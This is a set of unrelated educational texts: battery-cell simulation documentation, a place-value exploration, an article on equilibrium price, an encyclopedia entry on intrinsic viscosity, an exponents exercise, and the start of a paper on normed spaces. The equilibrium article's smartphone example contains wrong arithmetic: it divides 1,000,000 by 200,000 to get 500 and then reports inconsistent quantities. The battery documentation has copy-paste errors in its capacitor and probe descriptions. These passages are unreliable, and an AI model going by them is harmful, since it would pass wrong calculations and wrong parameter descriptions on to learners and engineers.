The Battery Cell model is implemented in Typhoon HIL Schematic using a controlled voltage source and a current measurement. The terminal voltage signal that controls the voltage source is a signal processing function of previous states and the measured current, using the Enhanced self-correcting cell model.
The component has two power electronics terminals, with a positive terminal on top and a negative terminal on bottom of the component (as shown in the Battery Cell component icon). Additionaly, there is another signal processing input which can be either a scalar input of cells temperature, or a vector input of the cell temperature followed by a balancing input. This is covered in more detail in Tab: Basic parameters and Tab: Balancing circuit.
Short circuit of the cell can be simulated using the internal SCADA inputs of the component named Vcell Override and Vcell Value Set. When Vcell Override is set to 1, the terminal cell voltage of the component is bypassed and a new cell voltage matching the value of Vcell Value Set is assigned. Setting Vcell Override to 0 disables this feature.
Figure 1. Schematic diagram of the Battery Cell model
Cell current is the current that is derived after subtracting the balancing current (if there is a balancing circuit enabled) from the total measured current (I_t in Figure 1).
The number of cells in parallel is modelled by dividing the cell current by the corresponding value in the parameter field. This method assumes that all the cells in the parallel configuration have equal parameters.
State of charge of the cell is calculated using the coulomb counting method with an adjustable coulombic efficiency coefficient:
{SOC}_{\left(t\right)}=\int \frac{{i}_{ \left(t\right)} · {\eta }_{\left(SOH, T\right)}}{{Q }_{\left(SOH, T\right)}}dt
Q
is the total capacity parameter,
is the cell current, and
\eta
is the coulombic efficiency coefficient, which is applied only when the cell is being charged (otherwise its value is set to 1).
The initial state of charge can be set inside the Initial state of charge property. Additionaly, state of charge can be overridden during the simulation by changing the State of Health SCADA input, SOH_set, inside of the Battery Cell component.
Terminal voltage (V_term in Figure 1) comprises four different components:
Open circuit voltage (OCV) which represents the cell's terminal voltage when the diffusion process has subsided, there is no current flow, and the hysteresis effect is ignored. It is always a function of state of charge and optionally a function of temperature.
Voltage drop on the internal resistance of the cell which is equal to the calculated internal battery cell resistance multiplied by the cell current (after balancing).
Voltage drop due to chemical diffusion which is the effect of ion diffusion of battery cells. It can be modeled as a variable number of parallel resistor capacitor circuits connected in series. The order of these resistor capacitor circuits can theoretically go to infinity, but in practice, up to a third order is often sufficient. During charging or discharging the battery cell, the capacitors are polarized and will require time to discharge themsleves when the current stops flowing through the battery.
Hysteresis effect voltage is important to replicate the state-of-the-art battery cell behavior. Combining all of the previous components of terminal voltage to accurately model the physical processes inside the battery cell is sometimes insufficient. When measuring the voltage on the terminals of the cell, hysteresis behavior of cell voltage in relation to cell current can be observed. One of the analytical equations that can be used to describe this behavior, called One state is described below:
{{V}_{hysteresis}}_{\left(t\right)}={M0}_{\left(SOC, T\right)}·{sig}_{\left(t\right)}+{h}_{\left(t\right)}
\stackrel{˙}{h}\left(t\right)=\left|\frac{{\eta }_{\left(SOH, T\right)} · {i}_{\left(t\right)} · {\gamma }_{\left(SOC, T\right)}}{{Q}_{\left(SOH, T\right)}}\right|·{h}_{\left(t\right)}+\left|\frac{{\eta }_{\left(SOH, T\right)} · {i}_{\left(t\right)} · {\gamma }_{\left(SOC, T\right)}}{{Q}_{\left(SOH, T\right)}}\right|·{M}_{\left(SOC, T\right)}
M, M0,
\gamma
are user customizable parameters, and
sig
is a sign of the cell current.
Tab: Basic parameters
Figure 2. Basic parameters tab in the Battery Cell component
State of charge vector, Temperatures vector, and State of health vector are array-like elements and inputs into look up tables corresponding to other parameters inside this tab. State of charge vector is the only mandatory field out of these three for which at least one dimension of the Open circuit voltage vector look up table will be parametrized. Temperatures vector and State of health vector are evaluated only in the case that other parameters in this tab have multidimensional arrays as inputs. Temperature of the Battery Cell is provided by the signal processing input on the left side of this component.
Initial state of charge sets the starting state of charge of the battery cell component in percentages.
The Open circuit voltage vector parameter is an array-like element representing the data points corresponding to State of charge vector with an optional temperature dependance. For the model to compile, the length of State of charge vector must be equal to the number of columns in Open circuit voltage vector. If the parameter Open circuit voltage vector contains a two dimensional array-like element, then the rows must correspond to values inside the Temperatures vector parameter. In that case, columns are still data points of State of charge vector and must be of the same length. There must also be the same number of rows as the length of State of charge vector. The output of the OCV is the linear interpolation between the provided points corresponding to the current state of charge (and temperature if a two dimensional array-like element is provided).
The Nominal capacity combo box allows for parametrizing Battery Cell Total capacity by entering it directly or by calculating it from the available Discharge capacity. Choosing one option in this combo box will enable parameters corresponding to that option and disable parameters corresponding to the other option.
Discharge capacity is the capacity that can be extracted from the fully charged battery with a particular constant current with a value of Discharge rate before it reaches the Minimum/cut-off voltage. Calculation is performed by including the effects of hysteresis (if enabled), diffusion voltage drop (if enabled), and the internal resistance voltage drop.
Total capacity is the total amount of energy cell contains when fully charged. It is not possible to extract all this energy at any finite discharge current (it would take an infinite amount of time to extract it all), so cell capacities are not typically given in terms of maximum capacity, but it is a necessary parameter for State of Charge calculation.
The cell properties Total capacity (or Discharge capacity), Internal resistance, and Coulombic efficiency can each be constants, one dimensional array like elements, or two dimensional array-like elements. Using Internal resistance as an example, if a two dimensional array is provided, length of Temperatures vector must be equal to the number of columns in Internal resistance. There must also be the same number of rows as the length of State of health vector. If instead a one dimensional array is provided, the length of the Temperatures vector parameter will be the only dependance for calculating Internal resistance. A single value can also be provided for Internal resistance, in which case, no dependance is created and resistance is a constant value. The same applies for the Total capacity (or Discharge capacity) and Coulombic efficiency parameters.
Number of cells in parallel is an integer, positive number that represents the amount of identical cells to be paralleled in this battery cell.
Execution rate is the signal processing time step for calculating the cell terminal voltage based on previous states and the current input.
Tab: Diffusion process
Figure 3. Diffusion process tab in the Battery Cell component
Model order is a combo box which enables or disables up to three parallel connected resistor capacitor circuits. Values of resistors and capacitors are only applied if their respective properties are enabled.
Resistor 1 parameter represents the resistor value in ohms for the first RC circuit
Capacitor 1 parameter represents the capacitor value in farads for the first RC circuit
Capacitor 2parameter represents the capacitor value in farads for the first RC circuit
Tab: Voltage hysteresis
Figure 4. Voltage hysteresis tab in the Battery Cell component
The Hysteresis model property allows you to select hysteresis effect implementation. Currently, only two implementations are allowed: None and One state.
If the One state option is selected, the Temperatures vector for hysteresis parameters and State of charge vector for hysteresis parameters properties are enabled and represent array-like data for two dimensional or one dimensional look up tables, depending on the M parameter, M0 parameter, and Gamma parameter fields.
Each of these parameters can be constants, one dimensional array-like elements, or two dimensional array-like elements. Using M parameter as an example, if a two dimensional array is provided, the length of Temperatures vector for hysteresis parameters must be equal to the number of columns in M parameter, and there must be the same number of rows as the length of State of charge vector for hysteresis parameters. If instead a one dimensional array is provided, the length of Temperatures vector for hysteresis parameters will be the only dependance for calculating M parameter. You can also provide a single value for M parameter, in which case no dependance is created and it is calculated as a constant value. The same applies for M0 parameter and Gamma parameter.
If None is selected for the Hysteresis model property, voltage from hysteresis is always set to zero.
Tab: Balancing circuit
Figure 5. Balancing circuit tab in the Battery Cell component
The Balancing circuit combo box allows you to select any of the three following balancing circuits:
None: No balancing circuit is introduced and the cell current is the total terminal current.
Passive balancing: A new signal processing input is appended on the Battery Cell component signal processing input, making it a two dimensional (vectorized) signal input. The first component of this input remains the temperature signal, while the second input controls the BL_SW port of the balancing circuit. When the value of this second input is larger than 0.5, the ideal switch shown in Figure 6 is closed. In this case, the cell current used for calculating Battery Cell states and outputs is the remainder of the difference of the terminal input current and the current flowing through a balancing resistor. The value for the balancing resistor is provided in the property Balancing parallel resistor.
Figure 6. Battery Cell model with passive balancing enabled
Direct input balancing: This option also modifies the signal processing input of the Battery Cell component into a two dimensional vector input. The second input signal is routed to the input port I_balance of the balancing circuit, shown in Figure 7. I_balance represents the value of the balancing current in amperes. In this case, the cell current used for calculating Battery Cell states and outputs is the remainder of the difference of the terminal input current and the input balancing current.
Figure 7. Battery Cell model with direct input balancing enabled
Tab: Measurements
Figure 8. General tab in the Battery component
State of health checkbox enables/disables monitoring of Battery Cell state of health through a probe with the name SOH inside this component.
State of charge checkbox enables/disables monitoring of Battery Cell state of charge through a probe with the name SOC inside this component.
Open circuit voltage checkbox enables/disables monitoring of Battery Cell state of health through a probe with the name OCV inside this component.
Internal resistance checkbox enables/disables monitoring of Battery Cell state of health through a probe with the name Internal resistance inside this component.
Total capacity checkbox enables/disables monitoring of Battery Cell state of health through a probe with the name Total capacity inside this component.
Balancing current checkbox enables/disables monitoring of Battery Cell state of health through a probe with the name Balancing current inside this component.
Cell current checkbox enables/disables monitoring of Battery Cell state of health through a probe with the name Cell current inside this component.
Temperature checkbox enables/disables monitoring of Battery Cell state of health through a probe with the name Temperature inside this component.
Hysteresis voltage checkbox enables/disables monitoring of Battery Cell state of health through a probe with the name Hysteresis voltage inside this component.
Note: The Battery Cell component terminal current and voltage measurements are automatically enabled and can be monitored by selecting probes inside this component named It and Cell voltage.
Note: The Battery Cell component uses signal processing components. Disabling optional properties and providing constants or single dimensional data as parameters will reduce the signal processing computational load.
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I1SBQ1
Here are some investigations you might want to explore, or at least think about.
Everything will become clear as we learn more in the next chapters, but you might find it fun to mull on these “big questions” ideas right away.
EXPLORATION 1: What are these machines actually doing?
Can you figure out what these machines are actually doing?
Why, in a
1\leftarrow 10
machine, is the code for two hundred and seventy three "
273
Are all the codes for numbers in a
1\leftarrow 10
sure to be identical to how we normally write numbers?
If we can answer this question for the
1\leftarrow 10
machine, then can we make sense of all the codes for a
1\leftarrow 2
machine? What does the code
1101
for the number thirteen mean?
Comment: Of course, we will answer these questions in the next island, Insighto, but it might be rewarding to think about these ideas questions on your own first!
Does the order in which one explodes dots seem to matter?
Here are
19
dots loaded into the rightmost box of a
1 \leftarrow 2
Try exploding pairs of dots in a haphazard manner: explode a few pairs from the rightmost box, then some from the second box and then some more back from the first box, and some more from the second box, and so on, until you reach a stable code. Then do it again!
Does the same final code of
10011
seem to appear each and every time you do this?
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Everything You Need to Know About Equilibrium Price | Outlier
Everything You Need to Know About Equilibrium Price
This is an overview of what an equilibrium price is, the formula, table, difference between equilibrium and disequilibrium, how to calculate it, and examples.
How Do We Find the Equilibrium Price?
How to Calculate the Equilibrium Price?
When you go to buy something, let’s say your groceries, have you ever wondered why things cost what they cost? Why should you pay 3 dollars for a soda and 6 dollars for some slices of cheese? The simple answer is that these prices are not randomly decided. They result from a whole process in which two main forces of the economy find themselves in an agreement for that price.
Let’s look first at the consumers who demand the product (that’s you). You buy a soda because you get a utility from it, and that utility is what you are paying for. But think for a moment, would the soda taste better if it was more expensive or cheaper? Of course not. The soda is exactly the same whether you have to pay 3 dollars for it, or you get it for free. Therefore, it makes sense to think that consumers will be happy to pay lower prices for the same product.
By having a look at the demand curve, we can note that lower prices will mean that a bigger quantity is demanded. Why is this? Think about yourself and that soda, you might be willing to pay 3 dollars for it, but would you be willing to pay 20 dollars? There is a maximum price you would be willing to pay for that soda, and this maximum price will be different for every consumer in the market.
This is what we call a reservation price or the maximum price a consumer is willing to pay for a specific product.
As you can see in the graph, as the price decreases, more people find the soda below their reservation price and are now willing to pay for it. As a result, the total quantity of sodas demanded will increase. The opposite is also true; if the price increases it will exceed the reservation price of more consumers, and fewer people will be willing to pay for a soda.
Then, we have the producers who supply the product. Remember that producers face costs with each soda can such as production, marketing, and distribution to stores. They are in the business for profit. If they are not earning any money from the process, they will not be able to produce sodas. The price must be enough to cover the production costs and make a profit. The higher the price, the better for the producer, since they will earn higher profits.
The same way consumers have a reservation price, producers will have theirs (yes, it is also named reservation price, so when you hear this term, you must look at the context and check whether you are talking about a consumer or a producer to know which definition to use).
Reservation price also can refer to a minimum price a producer is willing to accept in order to sell a specific product.
Looking at the graph of the supply curve, you can see that higher prices will allow for producers who were not producing before – because the previous price was below their reservation price – to produce now. Consequently, the total quantity of sodas offered will increase. The opposite is also true; if the price decreases, it will fall short to the reservation price of more producers, and they will not be willing to produce sodas anymore.
So far, we have seen that consumers and producers want opposite things in terms of the price. There is no way that both sides get what they want. The best they can do is start a large negotiation until they find a price where both of them feel they are getting the best deal they can; that is the logic behind what we will call an equilibrium price.
Equilibrium price is the price at which both demand and supply agree in the quantity exchanged. It is unique and should not be affected by any external force or influence.
When we graph the demand and supply curves together, you see that there is one point – and only one – in which both curves intersect each other. At this point, there is a specific price and quantity at which both the supply and demand coincide.
Think about the equilibrium in the graph. It’s true that suppliers would like to charge a higher price. If they do so, there won’t be enough people willing to pay that price, and the quantity produced will not match the quantity demanded.
On the other side, the demanders would like to pay a lower price. But similarly, if they do so, there won’t be enough producers willing to sell at that price. Again, the quantities demanded and produced won’t match. Therefore, the equilibrium price is the only price at which demand and supply will both coincide.
If equilibrium price is the only moment in which both demand and supply coincide in the quantity, then the best way to find it is to find the moment where both the quantity demanded and the quantity supplied will be the same. Mathematically, we are talking about the price where
Q_{D} = Q_{S}
Recall that both
Q_{D}
Q_{S}
are expressed as a function of the price P. Here, we are talking about solving a system of equations. We have two equations – one for demand and one for supply – and two variables called quantity and price. Note that the quantity will be the same for both demand and supply. This will yield a unique solution, which will be a pair (P*,Q*).
Before doing an algebraic example, let’s have a look at how the equilibrium price will look by using a table to list how the demand and the supply will behave at different prices. Suppose we have a demand function:
Q_{D}=5000 - 2P
And we also have a supply function:
Q_{S}=200+P
For different levels of price, we will have different quantities demanded and offered. The following table shows some of them:
Row Price Quantity Demanded Quantity Offered
If you look at row 8, note that it is the only row where the quantity demanded and the quantity offered both coincide at the price of 1600.
In this case, our equilibrium would be:
P^*,Q^*=(1600, 1800)
This means that at a price of 1600, the consumers will demand a total of 1800 units of the product, and the producers will offer a total of 1800 units of the product as well.
Before doing some other examples of how to find an equilibrium, let’s discuss the concept of disequilibrium. So far, we have defined that when the market is in equilibrium, both the demand and the supply will agree in price and quantity. Moreover, this price and quantity are unique. But another important aspect of the equilibrium is the fact that it should not be affected by external forces that can affect demand or supply outside of the equilibrium.
A good example of an external force that would affect the equilibrium is the ongoing COVID pandemic, which has affected both sides without being a specific aspect of the market itself.
Before the pandemic, there was an equilibrium in the market for facemasks. As COVID arrived, facemasks suddenly became an important product, and the demand for facemasks increased before the supply could adapt to the situation. This created an imbalance between the quantity supplied, which remained equal, and the new quantity demanded, which was bigger than the equilibrium. This caused a shortage of facemasks.
The mismatch between the demand and the supply is caused by something external called disequilibrium and is a common phenomenon.
Beyond a global pandemic, other examples of what can cause a disequilibrium are:
Regulatory – Products are an example. They require a license or permission to be bought such as prescription drugs.
Other industries – what happens in one industry can affect another, if the final product of the first one is an input in the second. For example, the shortage of computer chips that is currently affecting the car industry).
Natural disasters – They can increase the demand for a product or decrease the supply. One example is an earthquake that destroys a factory).
To conclude, let’s do two exercises to practice how to find an equilibrium. For the first one, consider a smartphone market in which the demanders are represented by the demand function:
Q_{D}=1,000,000-100,000 P
And they're represented by a supply function:
Q_{S}=100,000 P
As we have mentioned before, the equilibrium will be where the quantity demanded and the quantity supplied are the equal:
Q_{D}=Q_{S}
So we replace the functions and find the price that satisfies this equality.
1,000,000-100,000 P=100,000 P
1,000,000=200,000 P
\frac{1,000,000} {200,000}=P
P=500
The equilibrium price will be P=500. Now, we can check that at this price the demand and the supply will coincide in the quantity.
Demand→
Q_{D}
= 1,000,000-100,000 P=1,000,000
Supply →
Q_{S}
= 100,000 P=100,000(500)=50,000,000
And our equilibrium will be:
P^*,Q^*=(500, 50000000)
In this market 50 million smartphones will be sold at a price of 500 dollars each.
For a second example, we will show that the equilibrium can also be found by equalizing the price of the demand and the supply instead of the quantity. Suppose we have a small market for sandwiches, where the consumers define the price they are willing to pay (
P_{D}
) as a function of the quantity they demand:
P_{D} = \frac{60-Q_{D}}{5}
But the cafeteria defines the quantity of sandwiches they will produce as a function of the price:
Q_{S}=4+2P_{S}
To find the equilibrium, this time we will find when the consumers are willing to pay the same price that the cafeteria is willing to charge:
P_{D}=P_{S}
Our first step will be to find how the price the cafeteria wants to charge is defined as a function of the quantity of sandwiches produced:
Q_{S}=4+2P_{S} ⟹ P_{S}=\frac{Q_{S}-4}{2}
Now we can solve for the quantity that makes the price of consumers and producers match.
P_{D}=P_{S}
\frac{60 - Q}{5} = \frac{Q-4}{2}
120 - 2Q = 5Q - 20
120 + 20 = 5Q + 2Q
140 = 7Q
Q=\frac{140}{7}
Q=20
We can now check that at a quantity exchanged of 20 sandwiches, the consumers will be willing to pay the same price that the cafeteria wants to charge for each sandwich.
P_{D} = \frac{60-Q}{5} = \frac{60-20}{5} = \frac{40}{5}=8
P_{S}=\frac{Q-4}{2} = \frac{20-4}{2} = \frac{16}{2} = 8
Our equilibrium will be (P*,Q*) = (8, 20) and in this small market 20 sandwiches will be sold at a price of 8 dollars each.
Ever wondered why some things never seem to go on sale? Price Elasticity of Demand, one of the key concepts of Microeconomics, can help you answer this question. In this article, we’ll explore the relationship between price and demand, and then dive deep on various types of elasticity.
Everything You Need to Know About Public Goods
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Intrinsic_viscosity Knowpia
{\displaystyle \left[\eta \right]}
is a measure of a solute's contribution to the viscosity
{\displaystyle \eta }
of a solution. It should not be confused with inherent viscosity, which is the ratio of the natural logarithm of the relative viscosity to the mass concentration of the polymer.
Intrinsic viscosity is defined as
{\displaystyle \left[\eta \right]=\lim _{\phi \rightarrow 0}{\frac {\eta -\eta _{0}}{\eta _{0}\phi }}}
{\displaystyle \eta _{0}}
is the viscosity in the absence of the solute,
{\displaystyle \eta }
is (dynamic or kinematic) viscosity of the solution and
{\displaystyle \phi }
is the volume fraction of the solute in the solution. As defined here, the intrinsic viscosity
{\displaystyle \left[\eta \right]}
is a dimensionless number. When the solute particles are rigid spheres at infinite dilution, the intrinsic viscosity equals
{\displaystyle {\frac {5}{2}}}
, as shown first by Albert Einstein.
In practical settings,
{\displaystyle \phi }
is usually solute mass concentration (c, g/dL), and the units of intrinsic viscosity
{\displaystyle \left[\eta \right]}
are deciliters per gram (dL/g), otherwise known as inverse concentration.
Formulae for rigid spheroidsEdit
Generalizing from spheres to spheroids with an axial semiaxis
{\displaystyle a}
(i.e., the semiaxis of revolution) and equatorial semiaxes
{\displaystyle b}
, the intrinsic viscosity can be written
{\displaystyle \left[\eta \right]=\left({\frac {4}{15}}\right)(J+K-L)+\left({\frac {2}{3}}\right)L+\left({\frac {1}{3}}\right)M+\left({\frac {1}{15}}\right)N}
{\displaystyle M\ {\stackrel {\mathrm {def} }{=}}\ {\frac {1}{ab^{4}}}{\frac {1}{J_{\alpha }^{\prime }}}}
{\displaystyle K\ {\stackrel {\mathrm {def} }{=}}\ {\frac {M}{2}}}
{\displaystyle J\ {\stackrel {\mathrm {def} }{=}}\ K{\frac {J_{\alpha }^{\prime \prime }}{J_{\beta }^{\prime \prime }}}}
{\displaystyle L\ {\stackrel {\mathrm {def} }{=}}\ {\frac {2}{ab^{2}\left(a^{2}+b^{2}\right)}}{\frac {1}{J_{\beta }^{\prime }}}}
{\displaystyle N\ {\stackrel {\mathrm {def} }{=}}\ {\frac {6}{ab^{2}}}{\frac {\left(a^{2}-b^{2}\right)}{a^{2}J_{\alpha }+b^{2}J_{\beta }}}}
{\displaystyle J}
coefficients are the Jeffery functions
{\displaystyle J_{\alpha }=\int _{0}^{\infty }{\frac {dx}{\left(x+b^{2}\right){\sqrt {\left(x+a^{2}\right)^{3}}}}}}
{\displaystyle J_{\beta }=\int _{0}^{\infty }{\frac {dx}{\left(x+b^{2}\right)^{2}{\sqrt {\left(x+a^{2}\right)}}}}}
{\displaystyle J_{\alpha }^{\prime }=\int _{0}^{\infty }{\frac {dx}{\left(x+b^{2}\right)^{3}{\sqrt {\left(x+a^{2}\right)}}}}}
{\displaystyle J_{\beta }^{\prime }=\int _{0}^{\infty }{\frac {dx}{\left(x+b^{2}\right)^{2}{\sqrt {\left(x+a^{2}\right)^{3}}}}}}
{\displaystyle J_{\alpha }^{\prime \prime }=\int _{0}^{\infty }{\frac {x\ dx}{\left(x+b^{2}\right)^{3}{\sqrt {\left(x+a^{2}\right)}}}}}
{\displaystyle J_{\beta }^{\prime \prime }=\int _{0}^{\infty }{\frac {x\ dx}{\left(x+b^{2}\right)^{2}{\sqrt {\left(x+a^{2}\right)^{3}}}}}}
General ellipsoidal formulaeEdit
It is possible to generalize the intrinsic viscosity formula from spheroids to arbitrary ellipsoids with semiaxes
{\displaystyle a}
{\displaystyle b}
{\displaystyle c}
The intrinsic viscosity is very sensitive to the axial ratio of spheroids, especially of prolate spheroids. For example, the intrinsic viscosity can provide rough estimates of the number of subunits in a protein fiber composed of a helical array of proteins such as tubulin. More generally, intrinsic viscosity can be used to assay quaternary structure. In polymer chemistry intrinsic viscosity is related to molar mass through the Mark–Houwink equation. A practical method for the determination of intrinsic viscosity is with a Ubbelohde viscometer.
Jeffery, G. B. (1922). "The motion of ellipsoidal particles immersed in a viscous fluid". Proceedings of the Royal Society of London. Series A, Containing Papers of a Mathematical and Physical Character. The Royal Society. 102 (715): 161–179. Bibcode:1922RSPSA.102..161J. doi:10.1098/rspa.1922.0078. ISSN 0950-1207.
Simha, R. (1940). "The Influence of Brownian Movement on the Viscosity of Solutions". The Journal of Physical Chemistry. American Chemical Society (ACS). 44 (1): 25–34. doi:10.1021/j150397a004. ISSN 0092-7325.
Mehl, J. W.; Oncley, J. L.; Simha, R. (1940-08-09). "Viscosity and the Shape of Protein Molecules". Science. American Association for the Advancement of Science (AAAS). 92 (2380): 132–133. Bibcode:1940Sci....92..132M. doi:10.1126/science.92.2380.132. ISSN 0036-8075. PMID 17730219.
Saitô, Nobuhiko (1951-09-15). "The Effect of the Brownian Motion on the Viscosity of Solutions of Macromolecules, I. Ellipsoid of Revolution". Journal of the Physical Society of Japan. Physical Society of Japan. 6 (5): 297–301. Bibcode:1951JPSJ....6..297S. doi:10.1143/jpsj.6.297. ISSN 0031-9015.
Scheraga, Harold A. (1955). "Non‐Newtonian Viscosity of Solutions of Ellipsoidal Particles". The Journal of Chemical Physics. AIP Publishing. 23 (8): 1526–1532. Bibcode:1955JChPh..23.1526S. doi:10.1063/1.1742341. ISSN 0021-9606.
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Use the basic definition of exponents to show an example that demonstrates each of the laws of exponents listed in the Math Notes box in this lesson. An example demonstrating
x^{m} · x^{n} = x^{m+n}
x^{3} · x^{2} = \left(x · x · x\right)\left(x · x\right) \\= x · x · x · x · x \\= x^{5} \\= x^{3+2}
Look at the given example. Create your own similar examples for each of the other laws of exponents from the Math Notes box.
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Every n-dimensional normed space is the space R n endowed with a normal norm | Journal of Inequalities and Applications | Full Text
Every n-dimensional normed space is the space
{\mathbb{R}}^{n}
endowed with a normal norm
Ryotaro Tanaka1 &
Kichi-Suke Saito2
Recently, Alonso showed that every two-dimensional normed space is isometrically isomorphic to a generalized Day-James space introduced by Nilsrakoo and Saejung. In this paper, we consider the result of Alonso for n-dimensional normed spaces.
\parallel \cdot \parallel
{\mathbb{R}}^{2}
is said to be absolute if
\parallel \left(x,y\right)\parallel =\parallel \left(|x|,|y|\right)\parallel
\left(x,y\right)\in {\mathbb{R}}^{2}
, and normalized if
\parallel \left(1,0\right)\parallel =\parallel \left(0,1\right)\parallel =1
. The set of all absolute normalized norms on
{\mathbb{R}}^{2}
A{N}_{2}
. Bonsall and Duncan [1] showed the following characterization of absolute normalized norms on
{\mathbb{R}}^{2}
. Namely, the set
A{N}_{2}
of all absolute normalized norms on
{\mathbb{R}}^{2}
is in a one-to-one correspondence with the set
{\mathrm{\Psi }}_{2}
of all convex functions ψ on
\left[0,1\right]
max\left\{1-t,t\right\}\le \psi \left(t\right)\le 1
t\in \left[0,1\right]
(cf. [2]). The correspondence is given by the equation
\psi \left(t\right)=\parallel \left(1-t,t\right)\parallel
t\in \left[0,1\right]
. Note that the norm
{\parallel \cdot \parallel }_{\psi }
associated with the function
\psi \in {\mathrm{\Psi }}_{2}
{\parallel \left(x,y\right)\parallel }_{\psi }=\left\{\begin{array}{cc}\left(|x|+|y|\right)\psi \left(\frac{|y|}{|x|+|y|}\right),\hfill & \text{if }\left(x,y\right)\ne \left(0,0\right),\hfill \\ 0,\hfill & \text{if }\left(x,y\right)=\left(0,0\right).\hfill \end{array}
The Day-James space
{\ell }_{p}\text{-}{\ell }_{q}
1\le p,q\le \mathrm{\infty }
as the space
{\mathbb{R}}^{2}
{\parallel \left(x,y\right)\parallel }_{p,q}=\left\{\begin{array}{cc}{\parallel \left(x,y\right)\parallel }_{p},\hfill & \text{if }xy\ge 0,\hfill \\ {\parallel \left(x,y\right)\parallel }_{q},\hfill & \text{if }xy\le 0.\hfill \end{array}
James [3] considered the space
{\ell }_{p}\text{-}{\ell }_{q}
{p}^{-1}+{q}^{-1}=1
as an example of a two-dimensional normed space where Birkhoff orthogonality is symmetric. Recall that if x, y are elements of a real normed space X, then x is said to be Birkhoff-orthogonal to y, denoted by
x{\perp }_{B}y
\parallel x+\lambda y\parallel \ge \parallel x\parallel
\lambda \in \mathbb{R}
. Birkhoff orthogonality is homogeneous, that is,
x{\perp }_{B}y
\alpha x{\perp }_{B}\beta y
for any real numbers α and β. However, Birkhoff orthogonality is not symmetric in general, that is,
x{\perp }_{B}y
y{\perp }_{B}x
. More details about Birkhoff orthogonality can be found in Birkhoff [4], Day [5, 6] and James [3, 7, 8].
In 2006, Nilsrakoo and Saejung [9] introduced and studied generalized Day-James spaces
{\ell }_{\phi }\text{-}{\ell }_{\psi }
{\ell }_{\phi }\text{-}{\ell }_{\psi }
\phi ,\psi \in {\mathrm{\Psi }}_{2}
{\mathbb{R}}^{2}
{\parallel \left(x,y\right)\parallel }_{\phi ,\psi }=\left\{\begin{array}{cc}{\parallel \left(x,y\right)\parallel }_{\phi },\hfill & \text{if }xy\ge 0,\hfill \\ {\parallel \left(x,y\right)\parallel }_{\psi },\hfill & \text{if }xy\le 0.\hfill \end{array}
Recently, Alonso [10] showed that every two-dimensional normed space is isometrically isomorphic to a generalized Day-James space. In this paper, we consider the result of Alonso for n-dimensional spaces.
First, we give a characterization of generalized Day-James spaces.
\parallel \cdot \parallel
be a norm on
{\mathbb{R}}^{2}
. Then the space
\left({\mathbb{R}}^{2},\parallel \cdot \parallel \right)
is a generalized Day-James space if and only if
{\parallel \cdot \parallel }_{\mathrm{\infty }}\le \parallel \cdot \parallel \le {\parallel \cdot \parallel }_{1}
\left({\mathbb{R}}^{2},\parallel \cdot \parallel \right)
is a generalized Day-James space, then one can easily have
{\parallel \cdot \parallel }_{\mathrm{\infty }}\le \parallel \cdot \parallel \le {\parallel \cdot \parallel }_{1}
{\parallel \cdot \parallel }_{\mathrm{\infty }}\le \parallel \cdot \parallel \le {\parallel \cdot \parallel }_{1}
\phi \left(t\right)=\parallel \left(1-t,t\right)\parallel \phantom{\rule{1em}{0ex}}\text{and}\phantom{\rule{1em}{0ex}}\psi \left(t\right)=\parallel \left(1-t,-t\right)\parallel
t\in \left[0,1\right]
, respectively. Then, clearly, we have
\phi ,\psi \in {\mathrm{\Psi }}_{2}
\parallel \cdot \parallel ={\parallel \cdot \parallel }_{\phi ,\psi }
. Hence, the space
\left({\mathbb{R}}^{2},\parallel \cdot \parallel \right)
is a generalized Day-James space. □
Motivated by this fact, we consider the following
Definition 2 A norm
\parallel \cdot \parallel
{\mathbb{R}}^{n}
is said to be normal if it satisfies
{\parallel \cdot \parallel }_{\mathrm{\infty }}\le \parallel \cdot \parallel \le {\parallel \cdot \parallel }_{1}
We recall some notions about multilinear forms. Let X be a real vector space. Then a real-valued function F on
{X}^{n}
is said to be an n-linear form if it is linear separately in each variable, that is,
i\in \left\{1,2,\dots ,n\right\}
F:{X}^{n}\to \mathbb{R}
is an n-linear form, then F is said to be alternating if
F\left({x}_{1},\dots ,{x}_{i},{x}_{i+1},\dots ,{x}_{n}\right)=-F\left({x}_{1},\dots ,{x}_{i+1},{x}_{i},\dots ,{x}_{n}\right)
i\in \left\{1,2,\dots ,n\right\}
F\left({x}_{1},{x}_{2},\dots ,{x}_{n}\right)=0
{x}_{i}={x}_{j}
for some i, j with
i\ne j
. Furthermore, F is said to be bounded if
\parallel F\parallel :=sup\left\{|F\left({x}_{1},{x}_{2},\dots ,{x}_{n}\right)|:\left({x}_{1},{x}_{2},\dots ,{x}_{n}\right)\in {\left({S}_{X}\right)}^{n}\right\}<\mathrm{\infty },
{S}_{X}
denotes the unit sphere of X. If F is bounded, then we have
|F\left({x}_{1},{x}_{2},\dots ,{x}_{n}\right)|\le \parallel F\parallel \parallel {x}_{1}\parallel \parallel {x}_{2}\parallel \cdots \parallel {x}_{n}\parallel
\left({x}_{1},{x}_{2},\dots ,{x}_{n}\right)\in {X}^{n}
For our purpose, we give another simple proof of the following result of Day [5]. For each subset A of a normed space, let
\left[A\right]
denote the closed linear span of A. If M, N are subspaces of a real normed space X, then M is said to be Birkhoff orthogonal to N, denoted by
M{\perp }_{B}N
\parallel x+y\parallel \ge \parallel x\parallel
x\in M
y\in N
x{\perp }_{B}M
\left[\left\{x\right\}\right]{\perp }_{B}M
Lemma 3 Let X be an n-dimensional real normed space. Then there exists a basis
\left\{{e}_{1},{e}_{2},\dots ,{e}_{n}\right\}
for X such that
\parallel {e}_{i}\parallel =1
{e}_{i}{\perp }_{B}\left[{\left\{{e}_{k}\right\}}_{k\ne i}\right]
i=1,2,\dots ,n
\left\{{u}_{1},{u}_{2},\dots ,{u}_{n}\right\}
be a basis for X. Then each vector
x\in X
is uniquely expressed in the form
x={\sum }_{k=1}^{n}{\alpha }_{k}\left(x\right){u}_{k}
. Define the function F on
{X}^{n}
F\left({x}_{1},{x}_{2},\dots ,{x}_{n}\right)=|\begin{array}{cccc}{\alpha }_{1}\left({x}_{1}\right)& {\alpha }_{2}\left({x}_{1}\right)& \dots & {\alpha }_{n}\left({x}_{1}\right)\\ {\alpha }_{1}\left({x}_{2}\right)& {\alpha }_{2}\left({x}_{2}\right)& \dots & {\alpha }_{n}\left({x}_{2}\right)\\ ⋮& ⋮& \ddots & ⋮\\ {\alpha }_{1}\left({x}_{n}\right)& {\alpha }_{2}\left({x}_{n}\right)& \dots & {\alpha }_{n}\left({x}_{n}\right)\end{array}|
\left({x}_{1},{x}_{2},\dots ,{x}_{n}\right)\in {X}^{n}
. Then it is easy to check that F is an alternating bounded n-linear form. Since F is jointly continuous on the compact subset
